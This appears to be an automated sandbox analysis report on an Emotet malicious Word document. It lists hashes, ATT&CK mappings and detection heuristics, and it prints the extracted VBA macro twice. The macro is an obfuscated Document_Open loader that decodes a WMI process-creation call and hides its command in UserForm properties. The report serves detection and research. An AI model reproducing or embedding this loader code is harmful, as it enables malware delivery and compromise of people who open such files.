Emotet Office (OLE) malware analysis — malicious · 53dfc48b5b049b05

MALICIOUS

Office (OLE)

173.7 KB Created: 2020-07-20 15:34:00 Authoring application: Microsoft Office Word First seen: 2020-09-07

MD5: 1a653fec534009c080beff6b64f191f0 SHA-1: e27b909d9a0870cc512bdee8acde1b44916cacdd SHA-256: 53dfc48b5b049b05895bc4e2e5fca037946e69d083cdac2e6c222b76c86f4763

262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.EmotetIOS-9402070-0', strongly suggesting the Emotet family. The presence of a 'Document_Open' macro and a hidden UserForm command stager indicates an attempt to automatically execute code upon opening the document. This macro likely functions as a dropper, downloading and executing a second-stage payload.

Heuristics 7

ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER

VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10437 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	10437 bytes
SHA-256: `df709a83dcd4ff03db7a6329884ba6f40a29e93162f8f5c07548e37d0d987597`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "xais" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub _ Document_open() huunnaed End Sub Attribute VB_Name = "reap" Attribute VB_Base = "0{76B5922C-1F80-45BE-ACE4-163D24236D34}{44A3FA21-199A-4E10-8FD6-007D2DE3C8F2}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "lorthoosteaqurioththeeb" Function huunnaed() xoulxajmouywaithmouh = Chr(reap.Zoom + 1 + 4 + 10) Dim BiW1Oujj As Integer For BiW1Oujj = 3 To 5 + 5 DoEvents Next BiW1Oujj xoommuadkawbuuhweex = "6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDw6723tguT&^$^RFy23uikJGDi6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDn6723tguT&^$^RFy23uikJGDm6723tguT&^$^RFy23uikJGDg6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDmt6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD" + xoulxajmouywaithmouh + ":6723tguT&^$^RFy23uikJGDwi6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDn36723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD26723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD_6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD" + reap.loaquthiylir + "r6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDo6723tguT&^$^RFy23uikJGDce6723tguT&^$^RFy23uikJGDs6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDs6723tguT&^$^RFy23uikJGD" Dim nKrPwX As String nKrPwX = Replace$("Udglq1UXLnYV", "Udg", "RThCMP8ArHN") thoozdic = puptiepqueitquioykomroth(xoommuadkawbuuhweex) Dim W1UISOnXMLB As String W1UISOnXMLB = Replace$("NZ5Ef7AalhQpm", "NZ5Ef7Aal", "ORJ6AXQ") Set ceozthoagleuthjalloulwoy = CreateObject(thoozdic) Dim mJTY As String mJTY = Replace$("R1UBv0I3EbyyEVsZjgG", "R1UBv0I3Eby", "iei2IY") yeibthoej = reap.piosliahnaiyzobreursoeb.ControlTipText Dim vFktbhVi As String vFktbhVi = Replace$("feUfrMGIX1?cBi", "feU", "Qlu") gexviochzeathuuyjabtoik = thoozdic + xoulxajmouywaithmouh + reap.vathkeokquiotmohkuuc.ControlTipText + yeibthoej Dim jbqvN3A7Cr As Byte yeak = gexviochzeathuuyjabtoik + reap.loaquthiylir Dim yuklqG As Date Set meochjoichxeaxkuuwloeb = xauzfeih(yeak) Dim DQk As Object s = Array(nba, ceozthoagleuthjalloulwoy. _ Create(wirfoudseev, houquyaodrouymuab, meochjoichxeaxkuuwloeb)) Dim Xw3I8IKy1Nw As Byte Dim UmSF As Currency End Function Function xauzfeih(neadmeoxneov) Set xauzfeih = CreateObject(neadmeoxneov) Dim VvSORugs As Integer For VvSORugs = 2 To 3 + 3 DoEvents Next VvSORugs xauzfeih _ . _ showwindow = (thiev + leityeuxniaxbaelwoompoay) + (weovtoffiezsolfoefthair + vopheudjeicseorlexqueev) Dim YITX As String YITX = Replace$("Q7IA8ED3EbuuD3NBG", "Q7IA8ED3Ebu", "SFo5UhLvJ") Dim vEWs4OTUh As String vEWs4OTUh = Replace$("edUfrLGtW1IbAi", "edU", "Q6Is") End Function Function puptiepqueitquioykomroth(zuuth) viefneyxeebchuafkailquiah = zuuth Dim KmJU As Double quoejyauphaopjoath = Split(viefneyxeebchuafkailquiah, "*6723tguT&^$^RFy23uikJGD") Dim FgCvBs As Integer For FgCvBs = 1 To 4 + 8 DoEvents Next FgCvBs vitgaonpuachcheec = vVXqw + Join(quoejyauphaopjoath, vVXqw) Dim iVvSORugs As Byte puptiepqueitquioykomroth = vitgaonpuachcheec Dim fv1OYVoT As String fv1OYVoT = Replace$("HEedUUZ7EwGlubAiI", "HEedUUZ7E", "kuwcN") End Function Function wirfoudseev() opo = reap.zoudteowtheawquuan.Pages(1).ControlTipText Dim XK6IihX4a As Integer For XK6IihX4a = 3 To 7 + 6 DoEvents Next XK6IihX4a wirfoudseev = puptiepqueitquioykomroth(opo) Dim CJbwfpl2a As Byte End Function ' Processing file: /opt/analyzer/scan_staging/68e2462665474f6b82a09d16e4dcf65f.bin ' =============================================================================== ' Module streams: ' Macros/VBA/xais - 1347 bytes ' Line #0: ' LineCont 0x0004 02 00 00 00 ' FuncDefn (Sub xais()) ' Line #1: ' ArgsCall Document_open 0x0000 ' ... (truncated)

SHA-256: df709a83dcd4ff03db7a6329884ba6f40a29e93162f8f5c07548e37d0d987597

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "xais"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
huunnaed
End Sub


Attribute VB_Name = "reap"
Attribute VB_Base = "0{76B5922C-1F80-45BE-ACE4-163D24236D34}{44A3FA21-199A-4E10-8FD6-007D2DE3C8F2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "lorthoosteaqurioththeeb"
Function huunnaed()
xoulxajmouywaithmouh = Chr(reap.Zoom + 1 + 4 + 10)
Dim BiW1Oujj As Integer
For BiW1Oujj = 3 To 5 + 5
DoEvents
Next BiW1Oujj
xoommuadkawbuuhweex = "*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDw*6723tguT&^$^RFy23uikJGDi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn*6723tguT&^$^RFy23uikJGDm*6723tguT&^$^RFy23uikJGDg*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDmt*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + xoulxajmouywaithmouh + ":*6723tguT&^$^RFy23uikJGDwi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn3*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD2*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD_*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + reap.loaquthiylir + "r*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDo*6723tguT&^$^RFy23uikJGDce*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD"
Dim nKrPwX As String
nKrPwX = Replace$("Udglq1UXLnYV", "Udg", "RThCMP8ArHN")
thoozdic = puptiepqueitquioykomroth(xoommuadkawbuuhweex)
Dim W1UISOnXMLB As String
W1UISOnXMLB = Replace$("NZ5Ef7AalhQpm", "NZ5Ef7Aal", "ORJ6AXQ")
Set ceozthoagleuthjalloulwoy = CreateObject(thoozdic)
Dim mJTY As String
mJTY = Replace$("R1UBv0I3EbyyEVsZjgG", "R1UBv0I3Eby", "iei2IY")
yeibthoej = reap.piosliahnaiyzobreursoeb.ControlTipText
Dim vFktbhVi As String
vFktbhVi = Replace$("feUfrMGIX1?cBi", "feU", "Qlu")
gexviochzeathuuyjabtoik = thoozdic + xoulxajmouywaithmouh + reap.vathkeokquiotmohkuuc.ControlTipText + yeibthoej
Dim jbqvN3A7Cr As Byte
yeak = gexviochzeathuuyjabtoik + reap.loaquthiylir
Dim yuklqG As Date
Set meochjoichxeaxkuuwloeb = xauzfeih(yeak)
Dim DQk As Object
s = Array(nba, ceozthoagleuthjalloulwoy. _
Create(wirfoudseev, houquyaodrouymuab, meochjoichxeaxkuuwloeb))
Dim Xw3I8IKy1Nw As Byte
Dim UmSF As Currency
End Function
Function xauzfeih(neadmeoxneov)
Set xauzfeih = CreateObject(neadmeoxneov)
Dim VvSORugs As Integer
For VvSORugs = 2 To 3 + 3
DoEvents
Next VvSORugs
xauzfeih _
. _
showwindow = (thiev + leityeuxniaxbaelwoompoay) + (weovtoffiezsolfoefthair + vopheudjeicseorlexqueev)
Dim YITX As String
YITX = Replace$("Q7IA8ED3EbuuD3NBG", "Q7IA8ED3Ebu", "SFo5UhLvJ")
Dim vEWs4OTUh As String
vEWs4OTUh = Replace$("edUfrLGtW1IbAi", "edU", "Q6Is")
End Function
Function puptiepqueitquioykomroth(zuuth)
viefneyxeebchuafkailquiah = zuuth
Dim KmJU As Double
quoejyauphaopjoath = Split(viefneyxeebchuafkailquiah, "*6723tguT&^$^RFy23uikJGD")
Dim FgCvBs As Integer
For FgCvBs = 1 To 4 + 8
DoEvents
Next FgCvBs

vitgaonpuachcheec = vVXqw + Join(quoejyauphaopjoath, vVXqw)
Dim iVvSORugs As Byte
puptiepqueitquioykomroth = vitgaonpuachcheec
Dim fv1OYVoT As String
fv1OYVoT = Replace$("HEedUUZ7EwGlubAiI", "HEedUUZ7E", "kuwcN")
End Function
Function wirfoudseev()
opo = reap.zoudteowtheawquuan.Pages(1).ControlTipText
Dim XK6IihX4a As Integer
For XK6IihX4a = 3 To 7 + 6
DoEvents
Next XK6IihX4a

wirfoudseev = puptiepqueitquioykomroth(opo)
Dim CJbwfpl2a As Byte
End Function


' Processing file: /opt/analyzer/scan_staging/68e2462665474f6b82a09d16e4dcf65f.bin
' ===============================================================================
' Module streams:
' Macros/VBA/xais - 1347 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub xais())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' 
... (truncated)

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